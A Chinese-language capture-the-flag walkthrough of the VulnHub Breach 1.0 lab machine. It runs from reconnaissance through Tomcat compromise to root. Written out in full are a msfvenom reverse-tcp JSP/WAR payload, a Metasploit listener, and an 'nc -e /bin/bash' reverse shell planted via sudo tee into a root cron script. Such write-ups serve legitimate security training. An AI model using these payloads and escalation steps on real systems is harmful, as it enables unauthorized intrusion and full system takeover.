靶機信息

下載鏈接
https://download.vulnhub.com/breach/Breach-1.0.zip
靶機說明
Breach1.0是一個難度為初級到中級的BooT2Root/CTF挑戰。
VM虛機配置有靜態IP地址(192.168.110.140),需要將虛擬機網卡設置為host-only方式組網。
目標
Boot to root:獲得root權限,查看flag。
運行環境
靶機:網絡連接方式設置為主機模式(host-only),靜態IP是192.168.110.140。
攻擊機:kali linux,IP為192.168.110.128
可以在虛擬網絡編輯器中修改子網ip:192.168.110.0,使得攻擊機和靶機在同一網段中
圖片

信息收集

端口掃描
使用nmap掃描端口,并做服務識別和深度掃描(加-A參數),掃描結果保存到Breach.txt文件
nmap -v -A 192.168.110.140 -oN breach.txt,發現有很多端口都開放了
圖片
直接訪問80端口,進入web首頁:http://192.168.110.140/
圖片

滲透階段

查看前端

查看前端源碼,發現這串字符,去base64解碼
圖片
經過了兩次base64解碼
圖片

登錄到impress cms

點擊首頁的圖片,進入initech.html,有幾個超鏈接都點下,前面三個無發現,點擊最后一個就來到登錄頁面,是impresscms
圖片
圖片
用之前解碼得到的用戶名和密碼進行登錄,登錄成功了
圖片

查找impress cms的歷史漏洞

使用命令,searchsploit impresscms,發現impresscms存在sql注入漏洞
圖片
到exploit-db.com查找impress cms漏洞:發現ImpressCMS 1.3.9 SQL注入漏洞:https://www.exploit-db.com/exploits/39737/ 可注入頁面為/modules/profile/admin/field.php
圖片
訪問一下,發現沒有權限,無法進行注入
圖片

郵件信息

但可以發現登錄成功后的頁面,有紅色的3很顯眼了,是3封未讀郵件
圖片
第一個沒什么利用價值。第二個是IDS/IPS 入侵檢測/防御系統
第三個出現了/.keystore ,訪問一下,就自動下載了一個文件,這是包含SSL證書的密鑰庫keystore文件(keystore是存儲公私密鑰的一種文件格式)
圖片

導入PCAP、SSL證書到Wireshark

依次訪問左邊每個菜單欄,點擊profile會進入網站目錄瀏覽
點擊View Account菜單進入界面,再依次點擊頁面的Content,會彈出一行鏈接
Content SSL implementation test capture,然后發現了這個流量包的訪問鏈接。
圖片
訪問鏈接并下載該文件,并翻譯該頁面可得提示:這個PCAP文件是有紅色團隊的重新攻擊產生的,但是不能讀取文件。
而且They told me the alias, storepassword and keypassword are all set to 'tomcat'別名、Keystore密碼、key密碼都設置成tomcat。

由以上可得:其一這是一個流量包文件,不能讀取很可能因為某些流量有SSL加密并且前面的郵件中提供了一個keystore,這里提供了密碼;其二系統中可能存在tomcat。
從keystore中獲取SSL的證書
Windows攻擊機安裝有JDK,到JDK bin目錄下找到keytool.exe工具。
查看keystore這個密鑰庫里面的所有證書命令keytool -list -keystore D:/下載/keystore 密鑰庫口令tomcat。
圖片
從密鑰庫導出.p12證書,將keystore拷貝到keytool目錄,導出名為:tomcatkeystore.p12的證書命令:keytool -importkeystore -srckeystore d:\下載\keystore -destkeystore d:\下載\tomcatkeystore.p12 -deststoretype PKCS12 -srcalias tomcat口令都為tomcat
圖片
將.p12證書導入Wireshark
在Wireshark中打開_SSL_test_phase1.pcap流量包文件,選擇菜單:編輯--首選項--Protocols--TLS,點擊右邊的Edit:輸入:192.168.110.140 8443 http 點擊選擇證書文件 輸入密碼tomcat
圖片
得到tomcat后臺URL和密碼
導入證書后,成功解密https流量,http過濾,查看流量包
a.一個Unauthorized的認證包;b.攻擊者上傳了兩張圖片,疑似圖片馬,但是命令馬無法直接訪問,需要登錄tomcat后臺;c.有cmd命令馬執行了id命令。
圖片
獲得Tomcat后臺登錄地址和用戶名密碼
通過上面發現的一個Unauthorized的認證包,該request和response包含了Tomcat后臺的登錄地址:https://192.168.110.140:8443/_M@nag3Me/html因為狀態碼為200,進一步發現包含登錄用戶名密碼的數據包, 采用http basic認證,認證數據包為:Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC base64解碼后,Tomcat后臺登錄用戶名:tomcat,密碼:Tt\5D8F(#!*u=G)4m7zB
圖片
圖片
登錄tomcat
訪問上面的登錄地址發現無法訪問
圖片
這里是因為瀏覽器不具備相應的證書所導致的,這里可以用burp代理攔截,然后放包訪問,因為burp具備各種證書。(推薦用谷歌瀏覽器抓包)
圖片
登錄成功了,有個文件上傳的功能點
圖片
Tomcat后臺getshell
Tomcat后臺get shell的標準姿勢:上養馬場,準備好jsp版本的各種馬,然后上傳連接。
使用msfvenom生成后門文件shell.jsp,將shell.jsp進行壓縮,將shell.zip轉化成war格式

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.110.128 LPORT=1234 -f jsp -o shell.jsp
zip -r shell.zip shell.jsp
cp shell.zip shell.war

圖片
啟動msfconsole,開啟監聽

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.110.128
set lport 1234
run

圖片
上傳的tomcat.war,再訪問,成功拿下shell
圖片
圖片
反彈成功后,輸入命令python -c 'import pty;pty.spawn("/bin/bash")'進入交互式的shell。
圖片

提權

查看/etc/passwd,重點是用戶milton和blumbergh,1000+ 兩個是普通用戶
圖片

提權到milton用戶

在/var/www/5446目錄下,看到兩個文件名很特殊的文件,里面是數據庫連接的密碼,密碼為空,可以直接連接
圖片
連接成功后,使用mysql這個數據庫,查看到milton用戶的密碼了
圖片
MD5解密后milton:thelaststraw ,提權到用戶milton,su milton,成功
圖片
查看milton用戶home目錄下的some_script.sh文件,沒有可利用的信息。還有一張圖片
圖片
查看系統內核版本,命令uanme -a和cat /etc/issue
系統內核版本為:Linux Breach 4.2.0-27-generic,不存在Ubuntu本地提權漏洞。存在本地提權漏洞內核版本是:Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04)
圖片

提權到blumbergh用戶

查看歷史命令,看到歷史命令su提權到了blumbergh用戶。需要找到blumbergh用戶的密碼。
圖片
繼續收集信息,http://192.168.110.140/images/ 目錄下找到6張圖片,milton用戶目錄下,發現1張圖片
圖片
strings打印各圖片其中的可打印字符,追加輸出到images.txt,在vim下查看,密碼在bill.png圖片中。找到可能的密碼或提示:發現唯一的單詞是:coffeestains
圖片
圖片
提權到blumbergh用戶,blumbergh:coffeestains,成功
圖片

提權到root

查看歷史命令,發現/usr/share/cleanup和tidyup.sh腳本文件,查看tidyup.sh腳本
圖片
這是一段清理腳本,描述中說明每3分鐘執行清理,刪除webapps目錄下的文件,因此之前上傳的木馬總是被刪除,需要重新上傳。查看tidyup.sh的權限,對該腳本沒有寫入權限,只有root可以
查看sudo權限:執行sudo -l:發現用戶能夠以root權限執行這tee程序或tidyup.sh腳本:/usr/bin/tee和/usr/share/cleanup/tidyup.sh
圖片
tee命令用于讀取標準輸入的數據,并將其內容輸出成文件。tidyup.sh是清理腳本。
通過crontab的計劃任務,反彈root shell
向tidyup.sh中寫入反彈shell命令
tidyup.sh文件只有root可寫,而能夠以root權限運行tee命令,那么用tee命令寫tidyup.sh:先將反彈shell命令寫入shell.txt文件,使用nc反彈命令: echo "nc -e /bin/bash 192.168.110.128 4444" > shell.txt
再使用tee命令將shell.txt內容輸出到tidyup.sh cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
查看tidyup.sh文件寫入成功:cat /usr/share/cleanup/tidyup.sh
圖片
nc監聽等待反彈shell,因為是定時任務所有,這里需要等待3分鐘執行反彈,查看權限是root,flag是一張圖片,將圖片復制到/var/www/html/images/目錄下
圖片
查看flag:I NEED TO TALK ABOUT YOUR FLAIR 游戲通關。
圖片